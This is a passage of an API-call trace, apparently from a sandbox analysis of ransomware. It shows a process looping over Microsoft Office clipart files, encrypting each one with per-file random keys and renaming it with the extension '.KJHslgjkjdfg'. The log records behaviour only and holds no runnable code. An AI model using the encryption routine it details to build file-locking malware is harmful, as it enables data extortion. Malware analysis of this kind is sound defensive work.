lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3420, lpOverlapped=0x0) returned 1 [0194.590] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x34f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.590] SetEndOfFile (hFile=0x130) returned 1 [0194.592] GetProcessHeap () returned 0x990000 [0194.592] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.592] GetProcessHeap () returned 0x990000 [0194.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.kjhslgjkjdfg")) returned 1 [0194.594] CloseHandle (hObject=0x130) returned 1 [0194.594] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0194.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.599] GetProcessHeap () returned 0x990000 [0194.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.599] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.599] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.599] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.599] GetProcessHeap () returned 0x990000 [0194.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.600] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.600] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.600] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.601] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.601] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.601] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.602] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.602] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.602] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a00, lpOverlapped=0x0) returned 1 [0194.604] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a00) returned 1 [0194.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.605] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a00, lpOverlapped=0x0) returned 1 [0194.605] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.605] SetEndOfFile (hFile=0x130) returned 1 [0194.607] GetProcessHeap () returned 0x990000 [0194.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.607] GetProcessHeap () returned 0x990000 [0194.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.kjhslgjkjdfg")) returned 1 [0194.608] CloseHandle (hObject=0x130) returned 1 [0194.609] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0194.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.609] GetProcessHeap () returned 0x990000 [0194.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.609] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.614] GetProcessHeap () returned 0x990000 [0194.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.614] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.614] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.614] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.614] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.615] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.615] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.615] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.615] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x610c, lpOverlapped=0x0) returned 1 [0194.618] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6110, dwBufLen=0x6110 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6110) returned 1 [0194.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.618] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6110, lpOverlapped=0x0) returned 1 [0194.618] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.619] SetEndOfFile (hFile=0x130) returned 1 [0194.621] GetProcessHeap () returned 0x990000 [0194.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.621] GetProcessHeap () returned 0x990000 [0194.621] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.kjhslgjkjdfg")) returned 1 [0194.622] CloseHandle (hObject=0x130) returned 1 [0194.622] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0194.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.624] GetProcessHeap () returned 0x990000 [0194.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.624] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.624] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.629] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.629] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.629] GetProcessHeap () returned 0x990000 [0194.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.629] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.629] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.629] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.629] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.629] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.630] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3734, lpOverlapped=0x0) returned 1 [0194.632] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740, dwBufLen=0x3740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3740) returned 1 [0194.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.632] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3740, lpOverlapped=0x0) returned 1 [0194.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.633] SetEndOfFile (hFile=0x130) returned 1 [0194.635] GetProcessHeap () returned 0x990000 [0194.635] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.635] GetProcessHeap () returned 0x990000 [0194.635] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.kjhslgjkjdfg")) returned 1 [0194.637] CloseHandle (hObject=0x130) returned 1 [0194.637] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0194.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.637] GetProcessHeap () returned 0x990000 [0194.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.637] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.637] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.989] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.989] GetProcessHeap () returned 0x990000 [0194.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.989] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.989] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.990] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.990] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x406c, lpOverlapped=0x0) returned 1 [0195.010] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4070, dwBufLen=0x4070 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4070) returned 1 [0195.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.011] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4070, lpOverlapped=0x0) returned 1 [0195.011] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.011] SetEndOfFile (hFile=0x130) returned 1 [0195.014] GetProcessHeap () returned 0x990000 [0195.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.014] GetProcessHeap () returned 0x990000 [0195.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.kjhslgjkjdfg")) returned 1 [0195.015] CloseHandle (hObject=0x130) returned 1 [0195.016] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0195.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, 